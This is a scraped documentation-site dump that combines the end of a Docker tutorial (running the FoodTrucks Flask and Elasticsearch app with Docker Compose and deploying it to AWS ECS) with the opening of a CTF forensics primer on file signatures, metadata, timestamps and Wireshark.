$ docker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web\n852fc74de2954bb72471b858dce64d764181dca0cf7693fed201d76da33df794\n\n$ docker container ls\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n852fc74de295 yourusername/foodtrucks-web \"python3 ./app.py\" About a minute ago Up About a minute 0.0.0.0:5000->5000/tcp foodtrucks-web\n13d6415f73c8 docker.elastic.co/elasticsearch/elasticsearch:6.3.2 \"/usr/local/bin/dock\u2026\" 17 minutes ago Up 17 minutes 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp es\n\n$ curl -I 0.0.0.0:5000\nHTTP/1.0 200 OK\nContent-Type: text/html; charset=utf-8\nContent-Length: 3697\nServer: Werkzeug/0.11.2 Python/2.7.6\nDate: Sun, 10 Jan 2016 23:58:53 GMT\n
Head over to http://0.0.0.0:5000 and see your glorious app live! Although that might have seemed like a lot of work, we actually just typed 4 commands to go from zero to running. I've collated the commands in a bash script.
#!/bin/bash\n\n# build the flask container\ndocker build -t yourusername/foodtrucks-web .\n\n# create the network\ndocker network create foodtrucks-net\n\n# start the ES container\ndocker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n\n# start the flask app container\ndocker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web\n
Now imagine you are distributing your app to a friend, or running on a server that has docker installed. You can get a whole app running with just one command!
$ git clone https://github.com/prakhar1989/FoodTrucks\n$ cd FoodTrucks\n$ ./setup-docker.sh\n
And that's it! If you ask me, I find this to be an extremely awesome, and a powerful way of sharing and running your applications!
"},{"location":"CTF/Docker/#docker-compose","title":"Docker Compose","text":"Till now we've spent all our time exploring the Docker client. In the Docker ecosystem, however, there are a bunch of other open-source tools which play very nicely with Docker. A few of them are -
In this section, we are going to look at one of these tools, Docker Compose, and see how it can make dealing with multi-container apps easier.
The background story of Docker Compose is quite interesting. Roughly around January 2014, a company called OrchardUp launched a tool called Fig. The idea behind Fig was to make isolated development environments work with Docker. The project was very well received on Hacker News - I oddly remember reading about it but didn't quite get the hang of it.
The first comment on the forum actually does a good job of explaining what Fig is all about.
So really at this point, that's what Docker is about: running processes. Now Docker offers a quite rich API to run the processes: shared volumes (directories) between containers (i.e. running images), forward port from the host to the container, display logs, and so on. But that's it: Docker as of now, remains at the process level.
While it provides options to orchestrate multiple containers to create a single \"app\", it doesn't address the management of such group of containers as a single entity. And that's where tools such as Fig come in: talking about a group of containers as a single entity. Think \"run an app\" (i.e. \"run an orchestrated cluster of containers\") instead of \"run a container\".
It turns out that a lot of people using docker agree with this sentiment. Slowly and steadily as Fig became popular, Docker Inc. took notice, acquired the company and re-branded Fig as Docker Compose.
So what is Compose used for? Compose is a tool that is used for defining and running multi-container Docker apps in an easy way. It provides a configuration file called docker-compose.yml
that can be used to bring up an application and the suite of services it depends on with just one command. Compose works in all environments: production, staging, development, testing, as well as CI workflows, although Compose is ideal for development and testing environments.
Let's see if we can create a docker-compose.yml
file for our SF-Foodtrucks app and evaluate whether Docker Compose lives up to its promise.
The first step, however, is to install Docker Compose. If you're running Windows or Mac, Docker Compose is already installed as it comes in the Docker Toolbox. Linux users can easily get their hands on Docker Compose by following the instructions on the docs. Since Compose is written in Python, you can also simply do pip install docker-compose
. Test your installation with -
$ docker-compose --version\ndocker-compose version 1.21.2, build a133471\n
Now that we have it installed, we can jump on the next step i.e. the Docker Compose file docker-compose.yml
. The syntax for YAML is quite simple and the repo already contains the docker-compose file that we'll be using.
version: \"3\"\nservices:\n es:\n image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n container_name: es\n environment:\n - discovery.type=single-node\n ports:\n - 9200:9200\n volumes:\n - esdata1:/usr/share/elasticsearch/data\n web:\n image: yourusername/foodtrucks-web\n command: python3 app.py\n depends_on:\n - es\n ports:\n - 5000:5000\n volumes:\n - ./flask-app:/opt/flask-app\nvolumes:\n esdata1:\n driver: local\n
Let me breakdown what the file above means. At the parent level, we define the names of our services - es
and web
. The image
parameter is always required, and for each service that we want Docker to run, we can add additional parameters. For es
, we just refer to the elasticsearch
image available on Elastic registry. For our Flask app, we refer to the image that we built at the beginning of this section.
Other parameters such as command
and ports
provide more information about the container. The volumes
parameter specifies a mount point in our web
container where the code will reside. This is purely optional and is useful if you need access to logs, etc. We'll later see how this can be useful during development. Refer to the online reference to learn more about the parameters this file supports. We also add volumes for the es
container so that the data we load persists between restarts. We also specify depends_on
, which tells docker to start the es
container before web
. You can read more about it on docker compose docs.
Note: You must be inside the directory with the docker-compose.yml
file in order to execute most Compose commands.
Great! Now the file is ready, let's see docker-compose
in action. But before we start, we need to make sure the ports and names are free. So if you have the Flask and ES containers running, lets turn them off.
$ docker stop es foodtrucks-web\nes\nfoodtrucks-web\n\n$ docker rm es foodtrucks-web\nes\nfoodtrucks-web\n
Now we can run docker-compose
. Navigate to the food trucks directory and run docker-compose up
.
$ docker-compose up\nCreating network \"foodtrucks_default\" with the default driver\nCreating foodtrucks_es_1\nCreating foodtrucks_web_1\nAttaching to foodtrucks_es_1, foodtrucks_web_1\nes_1 | [2016-01-11 03:43:50,300][INFO ][node ] [Comet] version[2.1.1], pid[1], build[40e2c53/2015-12-15T13:05:55Z]\nes_1 | [2016-01-11 03:43:50,307][INFO ][node ] [Comet] initializing ...\nes_1 | [2016-01-11 03:43:50,366][INFO ][plugins ] [Comet] loaded [], sites []\nes_1 | [2016-01-11 03:43:50,421][INFO ][env ] [Comet] using [1] data paths, mounts [[/usr/share/elasticsearch/data (/dev/sda1)]], net usable_space [16gb], net total_space [18.1gb], spins? [possibly], types [ext4]\nes_1 | [2016-01-11 03:43:52,626][INFO ][node ] [Comet] initialized\nes_1 | [2016-01-11 03:43:52,632][INFO ][node ] [Comet] starting ...\nes_1 | [2016-01-11 03:43:52,703][WARN ][common.network ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}\nes_1 | [2016-01-11 03:43:52,704][INFO ][transport ] [Comet] publish_address {172.17.0.2:9300}, bound_addresses {[::]:9300}\nes_1 | [2016-01-11 03:43:52,721][INFO ][discovery ] [Comet] elasticsearch/cEk4s7pdQ-evRc9MqS2wqw\nes_1 | [2016-01-11 03:43:55,785][INFO ][cluster.service ] [Comet] new_master {Comet}{cEk4s7pdQ-evRc9MqS2wqw}{172.17.0.2}{172.17.0.2:9300}, reason: zen-disco-join(elected_as_master, [0] joins received)\nes_1 | [2016-01-11 03:43:55,818][WARN ][common.network ] [Comet] publish address: {0.0.0.0} is a wildcard address, falling back to first non-loopback: {172.17.0.2}\nes_1 | [2016-01-11 03:43:55,819][INFO ][http ] [Comet] publish_address {172.17.0.2:9200}, bound_addresses {[::]:9200}\nes_1 | [2016-01-11 03:43:55,819][INFO ][node ] [Comet] started\nes_1 | [2016-01-11 03:43:55,826][INFO ][gateway ] [Comet] recovered [0] indices into cluster_state\nes_1 | [2016-01-11 03:44:01,825][INFO ][cluster.metadata ] [Comet] [sfdata] creating index, cause [auto(index api)], templates [], shards [5]/[1], mappings [truck]\nes_1 | [2016-01-11 03:44:02,373][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]\nes_1 | [2016-01-11 03:44:02,510][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]\nes_1 | [2016-01-11 03:44:02,593][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]\nes_1 | [2016-01-11 03:44:02,708][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]\nes_1 | [2016-01-11 03:44:03,047][INFO ][cluster.metadata ] [Comet] [sfdata] update_mapping [truck]\nweb_1 | * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)\n
Head over to the IP to see your app live. That was amazing wasn't it? Just a few lines of configuration and we have two Docker containers running successfully in unison. Let's stop the services and re-run in detached mode.
web_1 | * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)\nKilling foodtrucks_web_1 ... done\nKilling foodtrucks_es_1 ... done\n\n$ docker-compose up -d\nCreating es ... done\nCreating foodtrucks_web_1 ... done\n\n$ docker-compose ps\n Name Command State Ports\n--------------------------------------------------------------------------------------------\nes /usr/local/bin/docker-entr ... Up 0.0.0.0:9200->9200/tcp, 9300/tcp\nfoodtrucks_web_1 python3 app.py Up 0.0.0.0:5000->5000/tcp\n
Unsurprisingly, we can see both containers running successfully. Where do the names come from? Those were created automatically by Compose. But does Compose also create the network automatically? Good question! Let's find out.
First off, let us stop the services from running. We can always bring them back up with just one command. Data volumes will persist, so it\u2019s possible to start the cluster again with the same data using docker-compose up
. To destroy the cluster and the data volumes, just type docker-compose down -v
.
$ docker-compose down -v\nStopping foodtrucks_web_1 ... done\nStopping es ... done\nRemoving foodtrucks_web_1 ... done\nRemoving es ... done\nRemoving network foodtrucks_default\nRemoving volume foodtrucks_esdata1\n
While we're are at it, we'll also remove the foodtrucks
network that we created last time.
$ docker network rm foodtrucks-net\n$ docker network ls\nNETWORK ID NAME DRIVER SCOPE\nc2c695315b3a bridge bridge local\na875bec5d6fd host host local\nead0e804a67b none null local\n
Great! Now that we have a clean slate, let's re-run our services and see if Compose does its magic.
$ docker-compose up -d\nRecreating foodtrucks_es_1\nRecreating foodtrucks_web_1\n\n$ docker container ls\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\nf50bb33a3242 yourusername/foodtrucks-web \"python3 app.py\" 14 seconds ago Up 13 seconds 0.0.0.0:5000->5000/tcp foodtrucks_web_1\ne299ceeb4caa elasticsearch \"/docker-entrypoint.s\" 14 seconds ago Up 14 seconds 9200/tcp, 9300/tcp foodtrucks_es_1\n
So far, so good. Time to see if any networks were created.
$ docker network ls\nNETWORK ID NAME DRIVER\nc2c695315b3a bridge bridge local\nf3b80f381ed3 foodtrucks_default bridge local\na875bec5d6fd host host local\nead0e804a67b none null local\n
You can see that compose went ahead and created a new network called foodtrucks_default
and attached both the new services in that network so that each of these are discoverable to the other. Each container for a service joins the default network and is both reachable by other containers on that network, and discoverable by them at a hostname identical to the container name.
$ docker ps\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n8c6bb7e818ec docker.elastic.co/elasticsearch/elasticsearch:6.3.2 \"/usr/local/bin/dock\u2026\" About a minute ago Up About a minute 0.0.0.0:9200->9200/tcp, 9300/tcp es\n7640cec7feb7 yourusername/foodtrucks-web \"python3 app.py\" About a minute ago Up About a minute 0.0.0.0:5000->5000/tcp foodtrucks_web_1\n\n$ docker network inspect foodtrucks_default\n[\n {\n \"Name\": \"foodtrucks_default\",\n \"Id\": \"f3b80f381ed3e03b3d5e605e42c4a576e32d38ba24399e963d7dad848b3b4fe7\",\n \"Created\": \"2018-07-30T03:36:06.0384826Z\",\n \"Scope\": \"local\",\n \"Driver\": \"bridge\",\n \"EnableIPv6\": false,\n \"IPAM\": {\n \"Driver\": \"default\",\n \"Options\": null,\n \"Config\": [\n {\n \"Subnet\": \"172.19.0.0/16\",\n \"Gateway\": \"172.19.0.1\"\n }\n ]\n },\n \"Internal\": false,\n \"Attachable\": true,\n \"Ingress\": false,\n \"ConfigFrom\": {\n \"Network\": \"\"\n },\n \"ConfigOnly\": false,\n \"Containers\": {\n \"7640cec7feb7f5615eaac376271a93fb8bab2ce54c7257256bf16716e05c65a5\": {\n \"Name\": \"foodtrucks_web_1\",\n \"EndpointID\": \"b1aa3e735402abafea3edfbba605eb4617f81d94f1b5f8fcc566a874660a0266\",\n \"MacAddress\": \"02:42:ac:13:00:02\",\n \"IPv4Address\": \"172.19.0.2/16\",\n \"IPv6Address\": \"\"\n },\n \"8c6bb7e818ec1f88c37f375c18f00beb030b31f4b10aee5a0952aad753314b57\": {\n \"Name\": \"es\",\n \"EndpointID\": \"649b3567d38e5e6f03fa6c004a4302508c14a5f2ac086ee6dcf13ddef936de7b\",\n \"MacAddress\": \"02:42:ac:13:00:03\",\n \"IPv4Address\": \"172.19.0.3/16\",\n \"IPv6Address\": \"\"\n }\n },\n \"Options\": {},\n \"Labels\": {\n \"com.docker.compose.network\": \"default\",\n \"com.docker.compose.project\": \"foodtrucks\",\n \"com.docker.compose.version\": \"1.21.2\"\n }\n }\n]\n
"},{"location":"CTF/Docker/#development-workflow","title":"Development Workflow","text":"Before we jump to the next section, there's one last thing I wanted to cover about docker-compose. As stated earlier, docker-compose is really great for development and testing. So let's see how we can configure compose to make our lives easier during development.
Throughout this tutorial, we've worked with readymade docker images. While we've built images from scratch, we haven't touched any application code yet and mostly restricted ourselves to editing Dockerfiles and YAML configurations. One thing that you must be wondering is how does the workflow look during development? Is one supposed to keep creating Docker images for every change, then publish it and then run it to see if the changes work as expected? I'm sure that sounds super tedious. There has to be a better way. In this section, that's what we're going to explore.
Let's see how we can make a change in the Foodtrucks app we just ran. Make sure you have the app running,
$ docker container ls\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n5450ebedd03c yourusername/foodtrucks-web \"python3 app.py\" 9 seconds ago Up 6 seconds 0.0.0.0:5000->5000/tcp foodtrucks_web_1\n05d408b25dfe docker.elastic.co/elasticsearch/elasticsearch:6.3.2 \"/usr/local/bin/dock\u2026\" 10 hours ago Up 10 hours 0.0.0.0:9200->9200/tcp, 9300/tcp es\n
Now let's see if we can change this app to display a Hello world!
message when a request is made to /hello
route. Currently, the app responds with a 404.
$ curl -I 0.0.0.0:5000/hello\nHTTP/1.0 404 NOT FOUND\nContent-Type: text/html\nContent-Length: 233\nServer: Werkzeug/0.11.2 Python/2.7.15rc1\nDate: Mon, 30 Jul 2018 15:34:38 GMT\n
Why does this happen? Since ours is a Flask app, we can see app.py
(link) for answers. In Flask, routes are defined with @app.route syntax. In the file, you'll see that we only have three routes defined - /
,/debug
and/search
. The/
route renders the main app, thedebug
route is used to return some debug information and finallysearch
is used by the app to query elasticsearch.
$ curl 0.0.0.0:5000/debug\n{\n \"msg\": \"yellow open sfdata Ibkx7WYjSt-g8NZXOEtTMg 5 1 618 0 1.3mb 1.3mb\\n\",\n \"status\": \"success\"\n}\n
Given that context, how would we add a new route for hello
? You guessed it! Let's open flask-app/app.py
in our favorite editor and make the following change
@app.route('/')\ndef index():\n return render_template(\"index.html\")\n\n# add a new hello route\n@app.route('/hello')\ndef hello():\n return \"hello world!\"\n
Now let's try making a request again
$ curl -I 0.0.0.0:5000/hello\nHTTP/1.0 404 NOT FOUND\nContent-Type: text/html\nContent-Length: 233\nServer: Werkzeug/0.11.2 Python/2.7.15rc1\nDate: Mon, 30 Jul 2018 15:34:38 GMT\n
Oh no! That didn't work! What did we do wrong? While we did make the change in app.py
, the file resides in our machine (or the host machine), but since Docker is running our containers based off the yourusername/foodtrucks-web
image, it doesn't know about this change. To validate this, lets try the following -
$ docker-compose run web bash\nStarting es ... done\nroot@581e351c82b0:/opt/flask-app# ls\napp.py package-lock.json requirements.txt templates\nnode_modules package.json static webpack.config.js\nroot@581e351c82b0:/opt/flask-app# grep hello app.py\nroot@581e351c82b0:/opt/flask-app# exit\n
What we're trying to do here is to validate that our changes are not in the app.py
that's running in the container. We do this by running the command docker-compose run
, which is similar to its cousin docker run
but takes additional arguments for the service (which is web
in our case). As soon as we run bash
, the shell opens in /opt/flask-app
as specified in our Dockerfile. From the grep command we can see that our changes are not in the file.
Lets see how we can fix it. First off, we need to tell docker compose to not use the image and instead use the files locally. We'll also set debug mode to true
so that Flask knows to reload the server when app.py
changes. Replace the web
portion of the docker-compose.yml
file like so:
version: \"3\"\nservices:\n es:\n image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2\n container_name: es\n environment:\n - discovery.type=single-node\n ports:\n - 9200:9200\n volumes:\n - esdata1:/usr/share/elasticsearch/data\n web:\n build: . # replaced image with build\n command: python3 app.py\n environment:\n - DEBUG=True # set an env var for flask\n depends_on:\n - es\n ports:\n - \"5000:5000\"\n volumes:\n - ./flask-app:/opt/flask-app\nvolumes:\n esdata1:\n driver: local\n
With that change (diff), let's stop and start the containers.
$ docker-compose down -v\nStopping foodtrucks_web_1 ... done\nStopping es ... done\nRemoving foodtrucks_web_1 ... done\nRemoving es ... done\nRemoving network foodtrucks_default\nRemoving volume foodtrucks_esdata1\n\n$ docker-compose up -d\nCreating network \"foodtrucks_default\" with the default driver\nCreating volume \"foodtrucks_esdata1\" with local driver\nCreating es ... done\nCreating foodtrucks_web_1 ... done\n
As a final step, lets make the change in app.py
by adding a new route. Now we try to curl
$ curl 0.0.0.0:5000/hello\nhello world\n
Wohoo! We get a valid response! Try playing around by making more changes in the app.
That concludes our tour of Docker Compose. With Docker Compose, you can also pause your services, run a one-off command on a container and even scale the number of containers. I also recommend you checkout a few other use-cases of Docker compose. Hopefully, I was able to show you how easy it is to manage multi-container environments with Compose. In the final section, we are going to deploy our app to AWS!
"},{"location":"CTF/Docker/#aws-elastic-container-service","title":"AWS Elastic Container Service","text":"In the last section we used docker-compose
to run our app locally with a single command: docker-compose up
. Now that we have a functioning app we want to share this with the world, get some users, make tons of money and buy a big house in Miami. Executing the last three are beyond the scope of the tutorial, so we'll spend our time instead on figuring out how we can deploy our multi-container apps on the cloud with AWS.
If you've read this far you are pretty much convinced that Docker is a pretty cool technology. And you are not alone. Seeing the meteoric rise of Docker, almost all Cloud vendors started working on adding support for deploying Docker apps on their platform. As of today, you can deploy containers on Google Cloud Platform, AWS, Azure and many others. We already got a primer on deploying single container apps with Elastic Beanstalk and in this section we are going to look at Elastic Container Service (or ECS) by AWS.
AWS ECS is a scalable and super flexible container management service that supports Docker containers. It allows you to operate a Docker cluster on top of EC2 instances via an easy-to-use API. Where Beanstalk came with reasonable defaults, ECS allows you to completely tune your environment as per your needs. This makes ECS, in my opinion, quite complex to get started with.
Luckily for us, ECS has a friendly CLI tool that understands Docker Compose files and automatically provisions the cluster on ECS! Since we already have a functioning docker-compose.yml
it should not take a lot of effort in getting up and running on AWS. So let's get started!
The first step is to install the CLI. Instructions to install the CLI on both Mac and Linux are explained very clearly in the official docs. Go ahead, install the CLI and when you are done, verify the install by running
$ ecs-cli --version\necs-cli version 1.18.1 (7e9df84)\n
Next, we'll be working on configuring the CLI so that we can talk to ECS. We'll be following the steps as detailed in the official guide on AWS ECS docs. In case of any confusion, please feel free to refer to that guide.
The first step will involve creating a profile that we'll use for the rest of the tutorial. To continue, you'll need your AWS_ACCESS_KEY_ID
and AWS_SECRET_ACCESS_KEY
. To obtain these, follow the steps as detailed under the section titled Access Key and Secret Access Key on this page.
$ ecs-cli configure profile --profile-name ecs-foodtrucks --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY\n
Next, we need to get a keypair which we'll be using to log into the instances. Head over to your EC2 Console and create a new keypair. Download the keypair and store it in a safe location. Another thing to note before you move away from this screen is the region name. In my case, I have named my key - ecs
and set my region as us-east-1
. This is what I'll assume for the rest of this walkthrough.
The next step is to configure the CLI.
$ ecs-cli configure --region us-east-1 --cluster foodtrucks\nINFO[0000] Saved ECS CLI configuration for cluster (foodtrucks)\n
We provide the configure
command with the region name we want our cluster to reside in and a cluster name. Make sure you provide the same region name that you used when creating the keypair. If you've not configured the AWS CLI on your computer before, you can use the official guide, which explains everything in great detail on how to get everything going.
The next step enables the CLI to create a CloudFormation template.
$ ecs-cli up --keypair ecs --capability-iam --size 1 --instance-type t2.medium\nINFO[0000] Using recommended Amazon Linux 2 AMI with ECS Agent 1.39.0 and Docker version 18.09.9-ce\nINFO[0000] Created cluster cluster=foodtrucks\nINFO[0001] Waiting for your cluster resources to be created\nINFO[0001] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS\nINFO[0062] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS\nINFO[0122] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS\nINFO[0182] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS\nINFO[0242] Cloudformation stack status stackStatus=CREATE_IN_PROGRESS\nVPC created: vpc-0bbed8536930053a6\nSecurity Group created: sg-0cf767fb4d01a3f99\nSubnet created: subnet-05de1db2cb1a50ab8\nSubnet created: subnet-01e1e8bc95d49d0fd\nCluster creation succeeded.\n
Here we provide the name of the keypair we downloaded initially (ecs
in my case), the number of instances that we want to use (--size
) and the type of instances that we want the containers to run on. The --capability-iam
flag tells the CLI that we acknowledge that this command may create IAM resources.
The last and final step is where we'll use our docker-compose.yml
file. We'll need to make a few minor changes, so instead of modifying the original, let's make a copy of it. The contents of this file (after making the changes) look like (below) -
version: '2'\nservices:\n es:\n image: docker.elastic.co/elasticsearch/elasticsearch:7.6.2\n cpu_shares: 100\n mem_limit: 3621440000\n environment:\n - discovery.type=single-node\n - bootstrap.memory_lock=true\n - \"ES_JAVA_OPTS=-Xms512m -Xmx512m\"\n logging:\n driver: awslogs\n options:\n awslogs-group: foodtrucks\n awslogs-region: us-east-1\n awslogs-stream-prefix: es\n web:\n image: yourusername/foodtrucks-web\n cpu_shares: 100\n mem_limit: 262144000\n ports:\n - \"80:5000\"\n links:\n - es\n logging:\n driver: awslogs\n options:\n awslogs-group: foodtrucks\n awslogs-region: us-east-1\n awslogs-stream-prefix: web\n
The only changes we made from the original docker-compose.yml
are of providing the mem_limit
(in bytes) and cpu_shares
values for each container and adding some logging configuration. This allows us to view logs generated by our containers in AWS CloudWatch. Head over to CloudWatch to create a log group called foodtrucks
. Note that since ElasticSearch typically ends up taking more memory, we've given around 3.4 GB of memory limit. Another thing we need to do before we move onto the next step is to publish our image on Docker Hub.
$ docker push yourusername/foodtrucks-web\n
Great! Now let's run the final command that will deploy our app on ECS!
$ cd aws-ecs\n$ ecs-cli compose up\nINFO[0000] Using ECS task definition TaskDefinition=ecscompose-foodtrucks:2\nINFO[0000] Starting container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es\nINFO[0000] Starting container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web\nINFO[0000] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2\nINFO[0000] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2\nINFO[0036] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2\nINFO[0048] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2\nINFO[0048] Describe ECS container status container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=PENDING taskDefinition=ecscompose-foodtrucks:2\nINFO[0060] Started container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/web desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2\nINFO[0060] Started container... container=845e2368-170d-44a7-bf9f-84c7fcd9ae29/es desiredStatus=RUNNING lastStatus=RUNNING taskDefinition=ecscompose-foodtrucks:2\n
It's not a coincidence that the invocation above looks similar to the one we used with Docker Compose. If everything went well, you should see a desiredStatus=RUNNING lastStatus=RUNNING
as the last line.
Awesome! Our app is live, but how can we access it?
ecs-cli ps\nName State Ports TaskDefinition\n845e2368-170d-44a7-bf9f-84c7fcd9ae29/web RUNNING 54.86.14.14:80->5000/tcp ecscompose-foodtrucks:2\n845e2368-170d-44a7-bf9f-84c7fcd9ae29/es RUNNING ecscompose-foodtrucks:2\n
Go ahead and open http://54.86.14.14 in your browser and you should see the Food Trucks in all its black-yellow glory! Since we're on the topic, let's see how our AWS ECS console looks.
We can see above that our ECS cluster called 'foodtrucks' was created and is now running 1 task with 2 container instances. Spend some time browsing this console to get a hang of all the options that are here.
"},{"location":"CTF/Docker/#cleanup_1","title":"Cleanup","text":"Once you've played around with the deployed app, remember to turn down the cluster -
$ ecs-cli down --force\nINFO[0001] Waiting for your cluster resources to be deleted...\nINFO[0001] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS\nINFO[0062] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS\nINFO[0124] Cloudformation stack status stackStatus=DELETE_IN_PROGRESS\nINFO[0155] Deleted cluster cluster=foodtrucks\n
So there you have it. With just a few commands we were able to deploy our awesome app on the AWS cloud!
"},{"location":"CTF/Docker/#conclusion","title":"CONCLUSION","text":"And that's a wrap! After a long, exhaustive but fun tutorial you are now ready to take the container world by storm! If you followed along till the very end then you should definitely be proud of yourself. You learned how to setup Docker, run your own containers, play with static and dynamic websites and most importantly got hands on experience with deploying your applications to the cloud!
I hope that finishing this tutorial makes you more confident in your abilities to deal with servers. When you have an idea of building your next app, you can be sure that you'll be able to get it in front of people with minimal effort.
"},{"location":"CTF/Docker/#next-steps","title":"Next Steps","text":"Your journey into the container world has just started! My goal with this tutorial was to whet your appetite and show you the power of Docker. In the sea of new technology, it can be hard to navigate the waters alone and tutorials such as this one can provide a helping hand. This is the Docker tutorial I wish I had when I was starting out. Hopefully, it served its purpose of getting you excited about containers so that you no longer have to watch the action from the sides.
Below are a few additional resources that will be beneficial. For your next project, I strongly encourage you to use Docker. Keep in mind - practice makes perfect!
Additional Resources
Off you go, young padawan!
"},{"location":"CTF/Docker/#give-feedback","title":"Give Feedback","text":"Now that the tutorial is over, it's my turn to ask questions. How did you like the tutorial? Did you find the tutorial to be a complete mess or did you have fun and learn something?
Send in your thoughts directly to me or just create an issue. I'm on Twitter, too, so if that's your deal, feel free to holler there!
I would totally love to hear about your experience with this tutorial. Give suggestions on how to make this better or let me know about my mistakes. I want this tutorial to be one of the best introductory tutorials on the web and I can't do it without your help.
"},{"location":"CTF/Forensics/","title":"Forensics","text":"https://ctf101.org/forensics
Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data that is seemingly deleted, not stored, or worse, covertly recorded.
An important part of Forensics is having the right tools, as well as being familiar with the following topics:
File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data consistently. Files can also contain additional \"hidden\" data called metadata which can be useful in finding out information about the context of a file's data.
"},{"location":"CTF/Forensics/#file-signatures","title":"File Signatures","text":"File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally, they\u2019re 2-4 bytes long, found at the beginning of a file.
"},{"location":"CTF/Forensics/#what-is-it-used-for","title":"What is it used for?","text":"Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type to open properly.
"},{"location":"CTF/Forensics/#how-do-you-find-the-file-signature","title":"How do you find the file signature?","text":"You need to be able to look at the binary data that constitutes the file you\u2019re examining. To do this, you\u2019ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler\u2019s.
"},{"location":"CTF/Forensics/#example","title":"Example","text":"The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600
or in ASCII \u02c7\u00ff\u02c7\u2021 JFIF
where \\x00
and \\x10
lack symbols.
Searching in Gary Kessler\u2019s database shows that this file signature belongs to a JPEG/JFIF graphics file
, exactly what we suspect.
Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number, and album.
"},{"location":"CTF/Forensics/#what-kind-of-file-metadata-is-useful","title":"What kind of file metadata is useful?","text":"Potentially, any file metadata you can find could be useful.
"},{"location":"CTF/Forensics/#how-do-i-find-it","title":"How do I find it?","text":"EXIF Data is metadata attached to photos which can include location, time, and device information.
One of our favorite tools is ExifTool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)
Run command line: exiftool(-k).exe [filename]
and you should see something like this:
Let's take a look at File A's metadata with ExifTool:
File type
Image description
Make and camera info
GPS Latitude/Longitude
"},{"location":"CTF/Forensics/#timestamps","title":"Timestamps","text":"Timestamps are data that indicate the time of certain events (MAC): - Modification \u2013 when a file was modified - Access \u2013 when a file or entries were read or accessed - Creation \u2013 when files or entries were created
"},{"location":"CTF/Forensics/#types-of-timestamps","title":"Types of timestamps","text":"Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.
"},{"location":"CTF/Forensics/#timeline-patterns","title":"Timeline Patterns","text":"There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.
"},{"location":"CTF/Forensics/#examples","title":"Examples","text":"
We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?
By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA differently.
Follow along as we demonstrate.
We\u2019ll start by analyzing images in AccessData FTK Imager, where there\u2019s a Properties window that shows you some information about the file or folder you\u2019ve selected.
Here are the extracted MAC times for fileA, fileB, fileC, and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours since the USB was set up in Eastern Standard Time. This isn\u2019t necessary, but it helps me understand the times a bit better.
Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.
Identify timestamp patterns.
"},{"location":"CTF/Forensics/#wireshark","title":"Wireshark","text":"Wireshark is a network protocol analyzer that is often used in CTF challenges to look at recorded network traffic. Wireshark uses a file type called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.
